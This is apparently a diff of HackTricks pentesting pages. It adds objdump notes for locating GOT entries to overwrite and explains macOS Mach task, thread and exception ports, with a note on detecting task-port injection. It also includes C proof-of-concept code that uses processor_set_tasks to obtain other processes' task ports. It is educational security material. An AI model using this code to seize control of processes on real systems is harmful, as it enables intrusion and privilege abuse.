**objdump -s -j .got ./exec**\
|
||||
**objdump -t --dynamic-relo ./exec | grep puts** —> Saca la dirección de puts a sobreescribir en le GOT\
|
||||
**objdump -D ./exec** —> Disas ALL hasta las entradas de la plt\
|
||||
**objdump -p -/exec**\
|
||||
**Info functions strncmp —>** Info de la función en gdb
|
||||
|
||||
## Interesting courses
|
||||
|
||||
* [https://guyinatuxedo.github.io/](https://guyinatuxedo.github.io)
|
||||
* [https://github.com/RPISEC/MBE](https://github.com/RPISEC/MBE)
|
||||
* [https://ir0nstone.gitbook.io/notes](https://ir0nstone.gitbook.io/notes)
|
||||
* [https://github.com/shellphish/how2heap](https://github.com/shellphish/how2heap)
|
||||
* [https://pwnable.tw/](https://pwnable.tw/)
|
||||
* [https://ctf.hackucf.org/](https://ctf.hackucf.org/)
|
||||
|
||||
## **References**
|
||||
|
||||
* [**https://guyinatuxedo.github.io/7.2-mitigation\_relro/index.html**](https://guyinatuxedo.github.io/7.2-mitigation\_relro/index.html)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Learn AWS hacking from zero to hero with</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Other ways to support HackTricks:
|
||||
|
||||
* If you want to see your **company advertised in HackTricks** or **download HackTricks in PDF** Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
||||
* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Share your hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
|
@ -138,7 +138,7 @@ Check also the page about [**NTLM**](../windows-hardening/ntlm/), it could be ve
|
|||
|
||||
#### **Exploiting**
|
||||
|
||||
* [**Basic Linux Exploiting**](../binary-exploitation/linux-exploiting-basic-esp.md)
|
||||
* [**Basic Linux Exploiting**](broken-reference)
|
||||
* [**Basic Windows Exploiting**](../binary-exploitation/windows-exploiting-basic-guide-oscp-lvl.md)
|
||||
* [**Basic exploiting tools**](../binary-exploitation/basic-binary-exploitation-methodology/tools/)
|
||||
|
||||
|
|
|
@ -474,6 +474,29 @@ It's possible to **see all the host special ports** by running:
|
|||
procexp all ports | grep "HSP"
|
||||
```
|
||||
|
||||
### Task Special Ports
|
||||
|
||||
These are ports reserved for well known services. It's possible to get/set them calling `task_[get/set]_special_port`. They can be found in `task_special_ports.h`:
|
||||
|
||||
```c
|
||||
typedef int task_special_port_t;
|
||||
|
||||
#define TASK_KERNEL_PORT 1 /* Represents task to the outside
|
||||
world.*/
|
||||
#define TASK_HOST_PORT 2 /* The host (priv) port for task. */
|
||||
#define TASK_BOOTSTRAP_PORT 4 /* Bootstrap environment for task. */
|
||||
#define TASK_WIRED_LEDGER_PORT 5 /* Wired resource ledger for task. */
|
||||
#define TASK_PAGED_LEDGER_PORT 6 /* Paged resource ledger for task. */
|
||||
```
|
||||
|
||||
From [here](https://web.mit.edu/darwin/src/modules/xnu/osfmk/man/task\_get\_special\_port.html):
|
||||
|
||||
* **TASK\_KERNEL\_PORT**\[task-self send right]: The port used to control this task. Used to send messages that affect the task. This is the port returned by **mach\_task\_self (see Task Ports below)**.
|
||||
* **TASK\_BOOTSTRAP\_PORT**\[bootstrap send right]: The task's bootstrap port. Used to send messages requesting return of other system service ports.
|
||||
* **TASK\_HOST\_NAME\_PORT**\[host-self send right]: The port used to request information of the containing host. This is the port returned by **mach\_host\_self**.
|
||||
* **TASK\_WIRED\_LEDGER\_PORT**\[ledger send right]: The port naming the source from which this task draws its wired kernel memory.
|
||||
* **TASK\_PAGED\_LEDGER\_PORT**\[ledger send right]: The port naming the source from which this task draws its default memory managed memory.
|
||||
|
||||
### Task Ports
|
||||
|
||||
Originally Mach didn't have "processes" it had "tasks" which was considered more like a container of threads. When Mach was merged with BSD **each task was correlated with a BSD process**. Therefore every BSD process has the details it needs to be a process and every Mach task also have its inner workings (except for the inexistent pid 0 which is the `kernel_task`).
|
||||
|
@ -509,6 +532,19 @@ Remember that because the **kernel is also a task**, if someone manages to get a
|
|||
|
||||
**The task name port:** An unprivileged version of the _task port_. It references the task, but does not allow controlling it. The only thing that seems to be available through it is `task_info()`.
|
||||
|
||||
### Thread Ports
|
||||
|
||||
Threads also have associated ports, which are visible from the task calling **`task_threads`** and from the processor with `processor_set_threads`. A SEND right to the thread port allows to use the function from the `thread_act` subsystem, like:
|
||||
|
||||
* `thread_terminate`
|
||||
* `thread_[get/set]_state`
|
||||
* `act_[get/set]_state`
|
||||
* `thread_[suspend/resume]`
|
||||
* `thread_info`
|
||||
* ...
|
||||
|
||||
Any thread can get this port calling to **`mach_thread_sef`**.
|
||||
|
||||
### Shellcode Injection in thread via Task port
|
||||
|
||||
You can grab a shellcode from:
|
||||
|
@ -1084,6 +1120,148 @@ In this technique a thread of the process is hijacked:
|
|||
[macos-thread-injection-via-task-port.md](macos-thread-injection-via-task-port.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
### Task Port Injection Detection
|
||||
|
||||
When calling `task_for_pid` or `thread_create_*` increments a counter in the struct task from the kernel which can by accessed from user mode calling task\_info(task, TASK\_EXTMOD\_INFO, ...)
|
||||
|
||||
## Exception Ports
|
||||
|
||||
When a exception occurs in a thread, this exception is sent to the designated exception port of the thread. If the thread doesn't handle it, then it's sent to the task exception ports. If the task doesn't handle it, then it's sent to the host port which is managed by launchd (where it'll be acknowledge). This is called exception triage.
|
||||
|
||||
Note that at the end usually if not properly handle the report will end up being handle by the ReportCrash daemon. However, it's possible for another thread in the same task to manage the exception, this is what crash reporting tools like `PLCreashReporter` does.
|
||||
|
||||
## Other Objects
|
||||
|
||||
### Clock
|
||||
|
||||
Any user can access information about the clock however in order to set the time or modify other settings one has to be root.
|
||||
|
||||
In order to get info its possible to call functions from the `clock` subsystem like: `clock_get_time`, `clock_get_attributtes` or `clock_alarm`\
|
||||
In order to modify values the `clock_priv` subsystem can be sued with functions like `clock_set_time` and `clock_set_attributes`
|
||||
|
||||
### Processors and Processor Set
|
||||
|
||||
The processor apis allows to control a single logical processor calling functions like `processor_start`, `processor_exit`, `processor_info`, `processor_get_assignment`...
|
||||
|
||||
Moreover, the **processor set** apis provides a way to group multiple processors into a group. It's possible to retrieve the default processor set calling **`processor_set_default`**.\
|
||||
These are some interesting APIs to interact with the processor set:
|
||||
|
||||
* `processor_set_statistics`
|
||||
* `processor_set_tasks`: Return an array of send rights to all tasks inside the processor set
|
||||
* `processor_set_threads`: Return an array of send rights to all threads inside the processor set
|
||||
* `processor_set_stack_usage`
|
||||
* `processor_set_info`
|
||||
|
||||
As mentioned in [**this post**](https://reverse.put.as/2014/05/05/about-the-processor\_set\_tasks-access-to-kernel-memory-vulnerability/), in the past this allowed to bypass the previously mentioned protection to get task ports in other processes to control them by calling **`processor_set_tasks`** and getting a host port on every process.\
|
||||
Nowadays you need root to use that function and this is protected so you will only be able to get these ports on unprotected processes.
|
||||
|
||||
You can try it with:
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>processor_set_tasks code</strong></summary>
|
||||
|
||||
````c
|
||||
// Maincpart fo the code from https://newosxbook.com/articles/PST2.html
|
||||
//gcc ./port_pid.c -o port_pid
|
||||
|
||||
#include <stdio.h>
|
||||
#include <stdlib.h>
|
||||
#include <unistd.h>
|
||||
#include <sys/sysctl.h>
|
||||
#include <libproc.h>
|
||||
#include <mach/mach.h>
|
||||
#include <errno.h>
|
||||
#include <string.h>
|
||||
#include <mach/exception_types.h>
|
||||
#include <mach/mach_host.h>
|
||||
#include <mach/host_priv.h>
|
||||
#include <mach/processor_set.h>
|
||||
#include <mach/mach_init.h>
|
||||
#include <mach/mach_port.h>
|
||||
#include <mach/vm_map.h>
|
||||
#include <mach/task.h>
|
||||
#include <mach/task_info.h>
|
||||
#include <mach/mach_traps.h>
|
||||
#include <mach/mach_error.h>
|
||||
#include <mach/thread_act.h>
|
||||
#include <mach/thread_info.h>
|
||||
#include <mach-o/loader.h>
|
||||
#include <mach-o/nlist.h>
|
||||
#include <sys/ptrace.h>
|
||||
|
||||
mach_port_t task_for_pid_workaround(int Pid)
|
||||
{
|
||||
|
||||
host_t myhost = mach_host_self(); // host self is host priv if you're root anyway..
|
||||
mach_port_t psDefault;
|
||||
mach_port_t psDefault_control;
|
||||
|
||||
task_array_t tasks;
|
||||
mach_msg_type_number_t numTasks;
|
||||
int i;
|
||||
|
||||
thread_array_t threads;
|
||||
thread_info_data_t tInfo;
|
||||
|
||||
kern_return_t kr;
|
||||
|
||||
kr = processor_set_default(myhost, &psDefault);
|
||||
|
||||
kr = host_processor_set_priv(myhost, psDefault, &psDefault_control);
|
||||
if (kr != KERN_SUCCESS) { fprintf(stderr, "host_processor_set_priv failed with error %x\n", kr);
|
||||
mach_error("host_processor_set_priv",kr); exit(1);}
|
||||
|
||||
printf("So far so good\n");
|
||||
|
||||
kr = processor_set_tasks(psDefault_control, &tasks, &numTasks);
|
||||
if (kr != KERN_SUCCESS) { fprintf(stderr,"processor_set_tasks failed with error %x\n",kr); exit(1); }
|
||||
|
||||
for (i = 0; i < numTasks; i++)
|
||||
{
|
||||
int pid;
|
||||
pid_for_task(tasks[i], &pid);
|
||||
printf("TASK %d PID :%d\n", i,pid);
|
||||
char pathbuf[PROC_PIDPATHINFO_MAXSIZE];
|
||||
if (proc_pidpath(pid, pathbuf, sizeof(pathbuf)) > 0) {
|
||||
printf("Command line: %s\n", pathbuf);
|
||||
} else {
|
||||
printf("proc_pidpath failed: %s\n", strerror(errno));
|
||||
}
|
||||
if (pid == Pid){
|
||||
printf("Found\n");
|
||||
return (tasks[i]);
|
||||
}
|
||||
}
|
||||
|
||||
return (MACH_PORT_NULL);
|
||||
} // end workaround
|
||||
|
||||
|
||||
|
||||
int main(int argc, char *argv[]) {
|
||||
/*if (argc != 2) {
|
||||
fprintf(stderr, "Usage: %s <PID>\n", argv[0]);
|
||||
return 1;
|
||||
}
|
||||
|
||||
pid_t pid = atoi(argv[1]);
|
||||
if (pid <= 0) {
|
||||
fprintf(stderr, "Invalid PID. Please enter a numeric value greater than 0.\n");
|
||||
return 1;
|
||||
}*/
|
||||
|
||||
int pid = 1;
|
||||
|
||||
task_for_pid_workaround(pid);
|
||||
return 0;
|
||||
}
|
||||
|
||||
```
|
||||
````
|
||||
|
||||
</details>
|
||||
|
||||
## XPC
|
||||
|
||||
### Basic Information
|
||||
|
@ -1116,6 +1294,7 @@ For more info check:
|
|||
* [https://sector7.computest.nl/post/2023-10-xpc-audit-token-spoofing/](https://sector7.computest.nl/post/2023-10-xpc-audit-token-spoofing/)
|
||||
* [https://sector7.computest.nl/post/2023-10-xpc-audit-token-spoofing/](https://sector7.computest.nl/post/2023-10-xpc-audit-token-spoofing/)
|
||||
* [\*OS Internals, Volume I, User Mode, Jonathan Levin](https://www.amazon.com/MacOS-iOS-Internals-User-Mode/dp/099105556X)
|
||||
* [https://web.mit.edu/darwin/src/modules/xnu/osfmk/man/task\_get\_special\_port.html](https://web.mit.edu/darwin/src/modules/xnu/osfmk/man/task\_get\_special\_port.html)
|
||||
|
||||
<details>
|
||||
|
||||
|
|
Loading…
Reference in a new issue